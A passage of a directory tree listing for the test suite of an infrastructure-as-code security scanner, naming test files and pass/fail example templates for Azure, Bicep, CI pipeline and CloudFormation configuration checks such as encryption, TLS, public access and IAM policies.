test_AzureSynapseWorkspaceVAisEnabled.py │ │ ├── test_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py │ │ ├── test_CognitiveServicesConfigureIdentity.py │ │ ├── test_CognitiveServicesDisablesPublicNetwork.py │ │ ├── test_CognitiveServicesEnableLocalAuth.py │ │ ├── test_CosmosDBAccountsRestrictedAccess.py │ │ ├── test_CosmosDBDisableAccessKeyWrite.py │ │ ├── test_CosmosDBDisablesPublicNetwork.py │ │ ├── test_CosmosDBHaveCMK.py │ │ ├── test_CosmosDBLocalAuthDisabled.py │ │ ├── test_CustomRoleDefinitionSubscriptionOwner.py │ │ ├── test_DataExplorerUsesDiskEncryption.py │ │ ├── test_DataFactoryNoPublicNetworkAccess.py │ │ ├── test_DataFactoryUsesGitRepository.py │ │ ├── test_DataLakeStoreEncryption.py │ │ ├── test_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py │ │ ├── test_DatabricksWorkspaceDataPlaneToControlPlaneCommunicateOverPrivateLink.py │ │ ├── test_EventHubNamespaceMinTLS12.py │ │ ├── test_EventgridTopicIdentityProviderEnabled.py │ │ ├── test_EventgridTopicLocalAuthentication.py │ │ ├── test_EventgridTopicNetworkAccess.py │ │ ├── test_FrontDoorWAFACLCVE202144228.py │ │ ├── test_FrontdoorUseWAFMode.py │ │ ├── test_FunctionAppDisallowCORS.py │ │ ├── test_FunctionAppHttpVersionLatest.py │ │ ├── test_FunctionAppMinTLSVersion.py │ │ ├── test_FunctionAppsAccessibleOverHttps.py │ │ ├── test_FunctionAppsEnableAuthentication.py │ │ ├── test_KeyBackedByHSM.py │ │ ├── test_KeyExpirationDate.py │ │ ├── test_KeyVaultDisablesPublicNetworkAccess.py │ │ ├── test_KeyVaultEnablesFirewallRulesSettings.py │ │ ├── test_KeyVaultEnablesPurgeProtection.py │ │ ├── test_KeyVaultEnablesSoftDelete.py │ │ ├── test_KeyvaultRecoveryEnabled.py │ │ ├── test_LinuxVMUsesSSH.py │ │ ├── test_MSSQLServerMinTLSVersion.py │ │ ├── test_MariaDBGeoBackupEnabled.py │ │ ├── test_MariaDBPublicAccessDisabled.py │ │ ├── test_MariaDBSSLEnforcementEnabled.py │ │ ├── test_MonitorLogProfileCategories.py │ │ ├── test_MonitorLogRetentionDays.py │ │ ├── test_MySQLEncryptionEnabled.py │ │ ├── test_MySQLGeoBackupEnabled.py │ │ ├── test_MySQLPublicAccessDisabled.py │ │ ├── test_MySQLServerMinTLSVersion.py │ │ ├── test_MySQLServerSSLEnforcementEnabled.py │ │ ├── test_NSGRuleHTTPAccessRestricted.py │ │ ├── test_NSGRuleRDPAccessRestricted.py │ │ ├── test_NSGRuleSSHAccessRestricted.py │ │ ├── test_NetworkWatcherFlowLogPeriod.py │ │ ├── test_PostgreSQLEncryptionEnabled.py │ │ ├── test_PostgreSQLServerConnectionThrottlingEnabled.py │ │ ├── test_PostgreSQLServerLogCheckpointsEnabled.py │ │ ├── test_PostgreSQLServerLogConnectionsEnabled.py │ │ ├── test_PostgreSQLServerPublicAccessDisabled.py │ │ ├── test_PostgreSQLServerSSLEnforcementEnabled.py │ │ ├── test_PostgressSQLGeoBackupEnabled.py │ │ ├── test_PubsubSKUSLA.py │ │ ├── test_PubsubSpecifyIdentity.py │ │ ├── test_RedisCachePublicNetworkAccessEnabled.py │ │ ├── test_SQLDatabaseZoneRedundant.py │ │ ├── test_SQLServerAuditingEnabled.py │ │ ├── test_SQLServerAuditingRetention90Days.py │ │ ├── test_SQLServerEmailAlertsEnabled.py │ │ ├── test_SQLServerEmailAlertsToAdminsEnabled.py │ │ ├── test_SQLServerHasPublicAccessDisabled.py │ │ ├── test_SQLServerNoPublicAccess.py │ │ ├── test_SQLServerThreatDetectionTypes.py │ │ ├── test_SQLServerUsesADAuth.py │ │ ├── test_SecretContentType.py │ │ ├── test_SecretExpirationDate.py │ │ ├── test_SecurityCenterContactEmailAlert.py │ │ ├── test_SecurityCenterContactEmailAlertAdmins.py │ │ ├── test_SecurityCenterContactPhone.py │ │ ├── test_SecurityCenterStandardPricing.py │ │ ├── test_SkipJsonRegexPattern.py │ │ ├── test_StorageAccountAzureServicesAccessEnabled.py │ │ ├── test_StorageAccountDefaultNetworkAccessDeny.py │ │ ├── test_StorageAccountDisablePublicAccess.py │ │ ├── test_StorageAccountLoggingQueueServiceEnabled.py │ │ ├── test_StorageAccountMinimumTlsVersion.py │ │ ├── test_StorageAccountName.py │ │ ├── test_StorageAccountsTransportEncryption.py │ │ ├── test_StorageAccountsUseReplication.py │ │ ├── test_StorageBlobServiceContainerPrivateAccess.py │ │ ├── test_StorageSyncPublicAccessDisabled.py │ │ ├── test_SynapseWorkspaceAdministratorLoginPasswordHidden.py │ │ ├── test_SynapseWorkspaceCMKEncryption.py │ │ ├── test_SynapseWorkspaceEnablesDataExfilProtection.py │ │ ├── test_SynapseWorkspaceEnablesManagedVirtualNetworks.py │ │ ├── test_VMCredsInCustomData.py │ │ ├── test_VMDisablePasswordAuthentication.py │ │ ├── test_VMEncryptionAtHostEnabled.py │ │ ├── test_VMScaleSetsAutoOSImagePatchingEnabled.py │ │ ├── test_VMStorageOsDisk.py │ │ ├── test_VnetLocalDNS.py │ │ ├── test_VnetSingleDNSServer.py │ │ ├── test_WinVMAutomaticUpdates.py │ │ ├── test_WinVMEncryptionAtHost.py │ │ └── test_wildcard_entities.py │ ├── examples/ │ │ ├── ExplicitDepsResources/ │ │ │ ├── interface.json │ │ │ ├── storage.json │ │ │ └── subnet.json │ │ ├── ImplicitDepsResources/ │ │ │ ├── interface.json │ │ │ ├── storage.json │ │ │ └── subnet.json │ │ ├── container_instance.json │ │ └── convert_def_test.json │ ├── graph_builder/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ ├── AzureMLWorkspacePublicNetwork/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass2.json │ │ │ │ ├── AzureSpringCloudConfigWithVnet/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ └── pass.json │ │ │ │ ├── SynapseLogMonitoringEnabledForSQLPool/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ └── pass.json │ │ │ │ ├── SynapseSQLPoolHasSecurityAlertPolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail1.json │ │ │ │ │ ├── fail2.json │ │ │ │ │ └── pass.json │ │ │ │ ├── SynapseSQLPoolHasVulnerabilityAssessment/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail2.json │ │ │ │ │ └── pass.json │ │ │ │ └── SynapseWorkspaceHasExtendedAuditLogs/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail1.json │ │ │ │ ├── fail2.json │ │ │ │ └── pass.json │ │ │ └── test_yaml_policies.py │ │ └── test_local_graph.py │ ├── parser/ │ │ ├── __init__.py │ │ ├── examples/ │ │ │ └── json/ │ │ │ ├── mariadb.json │ │ │ ├── normal.json │ │ │ └── with_comments.json │ │ └── test_parser.py │ ├── rendering/ │ │ ├── __init__.py │ │ ├── test_rendering.json │ │ └── test_rendering.py │ ├── runner/ │ │ ├── __init__.py │ │ ├── resources/ │ │ │ ├── example.json │ │ │ ├── invalid.json │ │ │ └── no_resource.json │ │ └── test_runner.py │ ├── test_graph_manager.py │ ├── test_scanner_registry.py │ └── test_utils.py ├── azure_pipelines/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ └── jobs/ │ │ ├── __init__.py │ │ ├── example_ContainerDigest/ │ │ │ └── azure-pipelines.yml │ │ ├── example_ContainerLatestTag/ │ │ │ └── azure-pipelines.yml │ │ ├── example_SetSecretVariable/ │ │ │ └── azure-pipelines.yml │ │ ├── test_ContainerDigest.py │ │ ├── test_ContainerLatestTag.py │ │ └── test_SetSecretVariable.py │ ├── conftest.py │ ├── examples/ │ │ └── azure-pipelines.yml │ ├── resources/ │ │ └── azure-pipelines.yaml │ ├── test_resource_names.py │ └── test_runner.py ├── bicep/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── param/ │ │ │ ├── __init__.py │ │ │ └── azure/ │ │ │ ├── __init__.py │ │ │ ├── example_SecureStringParameterNoHardcodedValue/ │ │ │ │ └── main.bicep │ │ │ └── test_SecureStringParameterNoHardcodedValue.py │ │ └── resource/ │ │ ├── __init__.py │ │ └── azure/ │ │ ├── __init__.py │ │ ├── example_AKSApiServerAuthorizedIpRanges/ │ │ │ └── main.bicep │ │ ├── example_AKSDashboardDisabled/ │ │ │ └── main.bicep │ │ ├── example_AKSLoggingEnabled/ │ │ │ └── main.bicep │ │ ├── example_AKSNetworkPolicy/ │ │ │ └── main.bicep │ │ ├── example_AKSRbacEnabled/ │ │ │ └── main.bicep │ │ ├── example_AzureFirewallDenyThreatIntelMode/ │ │ │ ├── CKV_AZURE_216.fail.bicep │ │ │ ├── CKV_AZURE_216.fail2.bicep │ │ │ └── CKV_AZURE_216.pass.bicep │ │ ├── example_AzureFrontDoorEnablesWAF/ │ │ │ ├── fail.bicep │ │ │ └── pass.bicep │ │ ├── example_AzureManagedDiscEncryption/ │ │ │ └── main.bicep │ │ ├── example_FrontdoorUseWAFMode/ │ │ │ ├── example_FrontdoorUseWAFMode-FAILED.bicep │ │ │ └── example_FrontdoorUseWAFMode-PASSED.bicep │ │ ├── example_MonitorLogProfileCategories/ │ │ │ └── main.bicep │ │ ├── example_MonitorLogProfileRetentionDays/ │ │ │ └── main.bicep │ │ ├── example_StorageAccountAzureServicesAccessEnabled/ │ │ │ └── main.bicep │ │ ├── example_StorageAccountDefaultNetworkAccessDeny/ │ │ │ └── main.bicep │ │ ├── example_StorageAccountsTransportEncryption/ │ │ │ └── main.bicep │ │ ├── example_VMEncryptionAtHostEnabled/ │ │ │ └── main.bicep │ │ ├── test_AKSApiServerAuthorizedIpRanges.py │ │ ├── test_AKSDashboardDisabled.py │ │ ├── test_AKSLoggingEnabled.py │ │ ├── test_AKSNetworkPolicy.py │ │ ├── test_AKSRbacEnabled.py │ │ ├── test_AzureFirewallDenyThreatIntelMode.py │ │ ├── test_AzureFrontDoorEnablesWAF.py │ │ ├── test_AzureManagedDiscEncryption.py │ │ ├── test_FrontdoorUseWAFMode.py │ │ ├── test_MonitorLogProfileCategories.py │ │ ├── test_MonitorLogProfileRetentionDays.py │ │ ├── test_StorageAccountAzureServicesAccessEnabled.py │ │ ├── test_StorageAccountDefaultNetworkAccessDeny.py │ │ ├── test_StorageAccountsTransportEncryption.py │ │ └── test_VMEncryptionAtHostEnabled.py │ ├── examples/ │ │ ├── existing.bicep │ │ ├── graph.bicep │ │ ├── loop.bicep │ │ ├── malformed.bicep │ │ └── playground.bicep │ ├── graph/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ ├── SQLServerAuditingEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.bicep │ │ │ │ ├── SQLServerAuditingRetention90Days/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail1_less_90.bicep │ │ │ │ │ ├── fail2_no_auditsettings.bicep │ │ │ │ │ ├── fail3_not_enabled.bicep │ │ │ │ │ └── pass1.bicep │ │ │ │ ├── SQLServerThreatDetectionTypes/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.bicep │ │ │ │ └── __init__.py │ │ │ └── test_yaml_policies.py │ │ ├── definitions_context/ │ │ │ ├── resources/ │ │ │ │ ├── definitions_example1.bicep │ │ │ │ └── definitions_example2.bicep │ │ │ └── test_definitions_context.py │ │ └── graph_builder/ │ │ ├── __init__.py │ │ ├── examples/ │ │ │ ├── mixed/ │ │ │ │ └── main.bicep │ │ │ ├── parameter/ │ │ │ │ └── main.bicep │ │ │ └── variable/ │ │ │ └── main.bicep │ │ ├── test_local_graph.py │ │ └── test_renderer.py │ ├── image_referencer/ │ │ ├── __init__.py │ │ ├── provider/ │ │ │ ├── __init__.py │ │ │ └── test_azure.py │ │ ├── resources/ │ │ │ └── azure/ │ │ │ ├── batch.bicep │ │ │ ├── container_instance.bicep │ │ │ └── web.bicep │ │ ├── test_manager.py │ │ └── test_runner_azure_resources.py │ ├── test_graph_manager.py │ ├── test_parser.py │ ├── test_runner.py │ └── test_utils.py ├── bitbucket/ │ ├── __init__.py │ ├── resources/ │ │ └── bitbucket_conf/ │ │ ├── fail/ │ │ │ └── branch_restrictions.json │ │ └── pass/ │ │ └── branch_restrictions.json │ └── test_runner.py ├── bitbucket_pipelines/ │ ├── __init__.py │ ├── resources/ │ │ └── bitbucket-pipelines.yml │ └── test_runner.py ├── circleci_pipelines/ │ ├── __init__.py │ ├── conftest.py │ ├── resources/ │ │ └── .circleci/ │ │ └── config.yml │ └── test_runner.py ├── cloudformation/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── example_WildcardEntities/ │ │ │ └── main.yaml │ │ ├── resource/ │ │ │ ├── __init__.py │ │ │ └── aws/ │ │ │ ├── Cloudsplaining_IAMCredentialsExposure/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yml │ │ │ ├── Cloudsplaining_IAMGroup/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yaml │ │ │ ├── Cloudsplaining_IAMPermissionsManagement/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yaml │ │ │ ├── Cloudsplaining_IAMRole/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yaml │ │ │ ├── Cloudsplaining_IAMUser/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yaml │ │ │ ├── Cloudsplaining_IAMWriteAccess/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yaml │ │ │ ├── Cloudsplaining_ManagedPolicy/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yaml │ │ │ ├── S3Templates/ │ │ │ │ └── ExampleS3.yaml │ │ │ ├── __init__.py │ │ │ ├── cloudsplaining.md │ │ │ ├── example_ALBDropHttpHeaders/ │ │ │ │ ├── FAIL.yaml │ │ │ │ ├── PASS.yaml │ │ │ │ └── UNKNOWN.yaml │ │ │ ├── example_ALBListener/ │ │ │ │ ├── ALBListenerHTTPS-FAILED-HTTP.yaml │ │ │ │ ├── ALBListenerHTTPS-PASSED-HTTPS.yaml │ │ │ │ ├── ALBListenerHTTPS-PASSED-TCP.yaml │ │ │ │ ├── ALBListenerHTTPS-PASSED-TCP_UDP.yaml │ │ │ │ ├── ALBListenerHTTPS-PASSED-TLS.yaml │ │ │ │ ├── ALBListenerHTTPS-PASSED-UDP.yaml │ │ │ │ └── ALBListenerHTTPS-PASSED-redirect.yaml │ │ │ ├── example_ALBListenerTLS12/ │ │ │ │ ├── ALBListenerTLS1.2-FAILED.yaml │ │ │ │ ├── ALBListenerTLS1.2-PASSED.yaml │ │ │ │ └── ALBListenerTLS1.3-PASSED.yaml │ │ │ ├── example_APIGatewayAccessLogging/ │ │ │ │ ├── APIGatewayAccessLogging-FAILED.yaml │ │ │ │ ├── APIGatewayAccessLogging-PASSED.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_APIGatewayAuthorization/ │ │ │ │ ├── APIGatewayAuthorization-FAILED.yaml │ │ │ │ └── APIGatewayAuthorization-PASSED.yaml │ │ │ ├── example_APIGatewayCacheEnable/ │ │ │ │ ├── FAIL.yaml │ │ │ │ ├── PASS.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_APIGatewayV2AccessLogging/ │ │ │ │ ├── APIGatewayV2AccessLogging-FAILED.yaml │ │ │ │ ├── APIGatewayV2AccessLogging-PASSED.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_APIGatewayXray/ │ │ │ │ ├── APIGatewayXray-FAILED.yaml │ │ │ │ ├── APIGatewayXray-PASSED.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_AmazonMQBrokerPublicAccess/ │ │ │ │ ├── AmazonMQBrokerPublicAccess-FAILED-1.yaml │ │ │ │ ├── AmazonMQBrokerPublicAccess-FAILED-2.yaml │ │ │ │ ├── AmazonMQBrokerPublicAccess-PASSED-1.yaml │ │ │ │ └── AmazonMQBrokerPublicAccess-PASSED-2.yaml │ │ │ ├── example_AppSyncFieldLevelLogs/ │ │ │ │ └── template.yaml │ │ │ ├── example_AppSyncLogging/ │ │ │ │ └── template.yaml │ │ │ ├── example_AthenaWorkgroupConfiguration/ │ │ │ │ ├── AthenaWorkgroupConfiguration-FAIL.yaml │ │ │ │ └── AthenaWorkgroupConfiguration-PASSED.yaml │ │ │ ├── example_AuroraEncryption/ │ │ │ │ ├── AuroraEncryption-FAIL.yaml │ │ │ │ ├── AuroraEncryption-PASSED.yaml │ │ │ │ └── AuroraEncryption-UNKNOWN.yaml │ │ │ ├── example_BackupVaultEncrypted/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_BedrockAgentEncrypted/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_CloudFrontTLS12/ │ │ │ │ ├── CloudFrontTLS12-FAILED.yaml │ │ │ │ └── CloudFrontTLS12-PASSED.yaml │ │ │ ├── example_CloudWatchLogGroupKMSKey/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_CloudWatchLogGroupRetention/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_CloudfrontDistributionLogging/ │ │ │ │ ├── CloudfrontDistributionLogging-FAILED.yaml │ │ │ │ └── CloudfrontDistributionLogging-PASSED.yaml │ │ │ ├── example_CloudtrailEncryption/ │ │ │ │ ├── CloudTrailEncryption-FAILED.yaml │ │ │ │ ├── CloudTrailEncryption-PASSED.json │ │ │ │ └── CloudTrailEncryption-PASSED.yaml │ │ │ ├── example_CloudtrailLogValidation/ │ │ │ │ ├── CloudTrailLogValidation-FAILED.yaml │ │ │ │ └── CloudTrailLogValidation-PASSED.yaml │ │ │ ├── example_CloudtrailMultiRegion/ │ │ │ │ ├── CloudtrailMultiRegion-FAILED.yaml │ │ │ │ └── CloudtrailMultiRegion-PASSED.yaml │ │ │ ├── example_CodeBuildProjectEncryption/ │ │ │ │ ├── CodeBuildProjectEncryption-FAILED.yaml │ │ │ │ └── CodeBuildProjectEncryption-PASSED.yaml │ │ │ ├── example_CognitoUnauthenticatedIdentities/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yaml │ │ │ ├── example_DAXEncryption/ │ │ │ │ ├── DAXEncryption-FAILED.yml │ │ │ │ └── DAXEncryption-PASSED.yml │ │ │ ├── example_DMSReplicationInstancePubliclyAccessible/ │ │ │ │ ├── DMSReplicationInstancePubliclyAccessible-FAILED.yml │ │ │ │ └── DMSReplicationInstancePubliclyAccessible-PASSED.yml │ │ │ ├── example_DeprecatedLambdaRuntime/ │ │ │ │ ├── example.yaml │ │ │ │ └── exampleSAM.yaml │ │ │ ├── example_DocDBAuditLogs/ │ │ │ │ ├── DocDBAuditLogs-FAILED.yaml │ │ │ │ └── DocDBAuditLogs-PASSED.yaml │ │ │ ├── example_DocDBBackupRetention/ │ │ │ │ ├── DocDBBackupRetention-FAILED.yaml │ │ │ │ └── DocDBBackupRetention-PASSED.yaml │ │ │ ├── example_DocDBEncryption/ │ │ │ │ ├── DocDBEncryption-FAILED.yaml │ │ │ │ └── DocDBEncryption-PASSED.yaml │ │ │ ├── example_DocDBLogging/ │ │ │ │ ├── DocDBLogging-FAILED.yaml │ │ │ │ └── DocDBLogging-PASSED.yaml │ │ │ ├── example_DocDBTLS/ │ │ │ │ ├── DocDBTLS-FAILED.yaml │ │ │ │ └── DocDBTLS-PASSED.yaml │ │ │ ├── example_DynamoDBTablesEncrypted/ │ │ │ │ ├── FAILED.yaml │ │ │ │ └── PASSED.yaml │ │ │ ├── example_DynamodbGlobalTableRecovery/ │ │ │ │ ├── DynamodbGlobalTableRecovery-FAILED-2.yaml │ │ │ │ ├── DynamodbGlobalTableRecovery-FAILED.yaml │ │ │ │ └── DynamodbGlobalTableRecovery-PASSED.yaml │ │ │ ├── example_DynamodbRecovery/ │ │ │ │ ├── DynamodbRecovery-FAILED-2.yaml │ │ │ │ ├── DynamodbRecovery-FAILED.yaml │ │ │ │ └── DynamodbRecovery-PASSED.yaml │ │ │ ├── example_EBSEncryption/ │ │ │ │ ├── EBSEncryption-FAILED-2.yaml │ │ │ │ ├── EBSEncryption-FAILED.yaml │ │ │ │ └── EBSEncryption-PASSED.yaml │ │ │ ├── example_EC2Credentials/ │ │ │ │ ├── EC2Credentials-FAILED.yaml │ │ │ │ ├── EC2Credentials-FAILED_B64encoded.yaml │ │ │ │ └── EC2Credentials-PASSED.yaml │ │ │ ├── example_EC2PublicIP/ │ │ │ │ ├── EC2PublicIP-FAILED.yaml │ │ │ │ ├── EC2PublicIP-PASSED.yaml │ │ │ │ └── EC2PublicIP-UNKNOWN.yaml │ │ │ ├── example_ECRImageScanning/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yml │ │ │ ├── example_ECRImmutableTags/ │ │ │ │ ├── ECRImmutableTags-FAILED.yaml │ │ │ │ └── ECRImmutableTags-PASSED.yaml │ │ │ ├── example_ECRPolicy/ │ │ │ │ ├── ECRPolicy-FAILED.yaml │ │ │ │ ├── ECRPolicy-PASSED-2.yaml │ │ │ │ ├── ECRPolicy-PASSED.yaml │ │ │ │ └── ECRPolicy_passed.json │ │ │ ├── example_ECRRepositoryEncrypted/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yml │ │ │ ├── example_ECSClusterContainerInsights/ │ │ │ │ ├── ECSClusterContainerInsights-FAILED-2.yaml │ │ │ │ ├── ECSClusterContainerInsights-FAILED.yaml │ │ │ │ ├── ECSClusterContainerInsights-PASSED.yaml │ │ │ │ └── ECSClusterContainerInsights-PASSED2.yaml │ │ │ ├── example_ECSTaskDefinitionEFSVolumeEncryption/ │ │ │ │ ├── ECSTaskDefinitionEFSVolumeEncryption-FAILED.yaml │ │ │ │ └── ECSTaskDefinitionEFSVolumeEncryption-PASSED.yaml │ │ │ ├── example_EFSEncryption/ │ │ │ │ ├── EFSEncrpytion-FAILED.yml │ │ │ │ └── EFSEncrpytion-PASSED.yml │ │ │ ├── example_EKSNodeGroupRemoteAccess/ │ │ │ │ ├── EKSNodeGroupRemoteAccess-FAILED.yml │ │ │ │ └── EKSNodeGroupRemoteAccess-PASSED.yml │ │ │ ├── example_EKSSecretEncryption/ │ │ │ │ ├── EKSSecretEncryption-FAILED.yml │ │ │ │ └── EKSSecretEncryption-PASSED.yml │ │ │ ├── example_ELBAccessLogs/ │ │ │ │ ├── ELBAccessLogs-FAILED.yml │ │ │ │ └── ELBAccessLogs-PASSED.yml │ │ │ ├── example_ELBv2AccessLogs/ │ │ │ │ ├── ELBv2AccessLogs-FAILED.yml │ │ │ │ └── ELBv2AccessLogs-PASSED.yml │ │ │ ├── example_ElasticacheReplicationGroupEncryptionAtRest/ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtRest-FAILED-2.yaml │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtRest-FAILED.yaml │ │ │ │ └── ElasticacheReplicationGroupEncryptionAtRest-PASSED.yaml │ │ │ ├── example_ElasticacheReplicationGroupEncryptionAtTransit/ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransit-FAILED-2.yaml │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransit-FAILED.yaml │ │ │ │ └── ElasticacheReplicationGroupEncryptionAtTransit-PASSED.yaml │ │ │ ├── example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken-FAILED.yaml │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken-FAILED2.yaml │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken-PASSED.yaml │ │ │ │ └── ElasticacheReplicationGroupEncryptionAtTransitAuthToken-PASSED2.yaml │ │ │ ├── example_ElasticsearchDomainAuditLogging/ │ │ │ │ ├── ElasticsearchDomainLogging-FAILED.yaml │ │ │ │ ├── ElasticsearchDomainLogging-PASSED.yaml │ │ │ │ ├── OpensearchDomainLogging-FAILED.yaml │ │ │ │ └── OpensearchDomainLogging-PASSED.yaml │ │ │ ├── example_ElasticsearchDomainEnforceHTTPS/ │ │ │ │ ├── ElasticsearchDomainEnforceHTTPS-FAILED.yaml │ │ │ │ └── ElasticsearchDomainEnforceHTTPS-PASSED.yaml │ │ │ ├── example_ElasticsearchDomainLogging/ │ │ │ │ ├── ElasticsearchDomainLogging-FAILED.yaml │ │ │ │ ├── ElasticsearchDomainLogging-PASSED.yaml │ │ │ │ ├── OpensearchDomainLogging-FAILED.yaml │ │ │ │ └── OpensearchDomainLogging-PASSED.yaml │ │ │ ├── example_ElasticsearchEncryption/ │ │ │ │ ├── ElasticsearchEncryption-FAILED-2.yaml │ │ │ │ ├── ElasticsearchEncryption-FAILED.yaml │ │ │ │ └── ElasticsearchEncryption-PASSED.yaml │ │ │ ├── example_ElasticsearchNodeToNodeEncryption/ │ │ │ │ ├── ElasticsearchNodeToNodeEncryption-FAILED-2.yaml │ │ │ │ ├── ElasticsearchNodeToNodeEncryption-FAILED.yaml │ │ │ │ └── ElasticsearchNodeToNodeEncryption-PASSED.yaml │ │ │ ├── example_GlueDataCatalogEncryption/ │ │ │ │ ├── GlueDataCatalogEncryption-FAILED.yml │ │ │ │ └── GlueDataCatalogEncryption-PASSED.yml │ │ │ ├── example_GlueSecurityConfiguration/ │ │ │ │ ├── GlueSecurityConfiguration-FAILED.yml │ │ │ │ └── GlueSecurityConfiguration-PASSED.yml │ │ │ ├── example_GlueSecurityConfigurationEnabled/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_IAMAdminPolicyDocument/ │ │ │ │ ├── iam_group.fail.json │ │ │ │ ├── iam_group.pass.json │ │ │ │ ├── iam_policy.fail.json │ │ │ │ ├── iam_policy.pass.json │ │ │ │ ├── iam_role.fail.json │ │ │ │ ├── iam_role.pass.json │ │ │ │ ├── iam_role.unknown.yaml │ │ │ │ ├── iam_user.fail.json │ │ │ │ └── iam_user.pass.json │ │ │ ├── example_IAMPolicyAttachedToGroupOrRoles/ │ │ │ │ ├── IAMPolicyAttachedToGroupOrRoles-FAILED.yml │ │ │ │ └── IAMPolicyAttachedToGroupOrRoles-PASSED.yml │ │ │ ├── example_IAMRoleAllowAssumeFromAccount/ │ │ │ │ ├── UNKNOWN.yml │ │ │ │ ├── example_IAMRoleAllowAssumeFromAccount-FAILED.yml │ │ │ │ ├── example_IAMRoleAllowAssumeFromAccount-PASSED-2.yml │ │ │ │ └── example_IAMRoleAllowAssumeFromAccount-PASSED.yml │ │ │ ├── example_IAMRoleAllowsPublicAssume/ │ │ │ │ ├── FAILED-2.yml │ │ │ │ ├── FAILED.yml │ │ │ │ ├── PASSED-2.yml │ │ │ │ └── PASSED.yml │ │ │ ├── example_IAMStarActionPolicyDocument/ │ │ │ │ ├── cfn_bad_iam_pass.yaml │ │ │ │ ├── iam_group.fail.json │ │ │ │ ├── iam_group.pass.json │ │ │ │ ├── iam_policy.fail.json │ │ │ │ ├── iam_policy.pass.json │ │ │ │ ├── iam_role.fail.json │ │ │ │ ├── iam_role.pass.json │ │ │ │ ├── iam_role.unknown.yaml │ │ │ │ ├── iam_user.fail.json │ │ │ │ └── iam_user.pass.json │ │ │ ├── example_IMDSv1Disabled/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yml │ │ │ ├── example_KMSKeyWildCardPrincipal/ │ │ │ │ ├── KMSKeyWildCardPrincipal-FAILED-AWS-Wildcard.yaml │ │ │ │ ├── KMSKeyWildCardPrincipal-FAILED-Wildcard.yaml │ │ │ │ └── KMSKeyWildCardPrincipal-PASSED.yaml │ │ │ ├── example_KMSRotation/ │ │ │ │ ├── KMSRotation-FAILED.yml │ │ │ │ ├── KMSRotation-PASSED-Asymmetric.yml │ │ │ │ └── KMSRotation-PASSED-Symmetric.yml │ │ │ ├── example_KinesisStreamEncryptionType/ │ │ │ │ ├── FAILED.yml │ │ │ │ └── PASSED.yml │ │ │ ├── example_LambdaDLQConfigured/ │ │ │ │ ├── FAIL.yaml │ │ │ │ ├── PASS.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_LambdaEnvironmentCredentials/ │ │ │ │ ├── FAIL.yaml │ │ │ │ ├── PASS.yaml │ │ │ │ ├── PASS2.yaml │ │ │ │ ├── PASS3.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_LambdaEnvironmentEncryptionSettings/ │ │ │ │ ├── FAIL.yaml │ │ │ │ ├── PASS.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_LambdaFunctionLevelConcurrentExecutionLimit/ │ │ │ │ ├── FAIL.yaml │ │ │ │ ├── PASS.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_LambdaFunctionURLAuth/ │ │ │ │ ├── LambdaFunctionURLAuth_Fail.yml │ │ │ │ └── LambdaFunctionURLAuth_Pass.yml │ │ │ ├── example_LambdaInVPC/ │ │ │ │ ├── FAIL.yaml │ │ │ │ ├── PASS.yaml │ │ │ │ └── sam.yaml │ │ │ ├── example_LambdaServicePermission/ │ │ │ │ ├── LambdaServicePermission_Fail.yml │ │ │ │ └── LambdaServicePermission_Pass.yml │ │ │ ├── 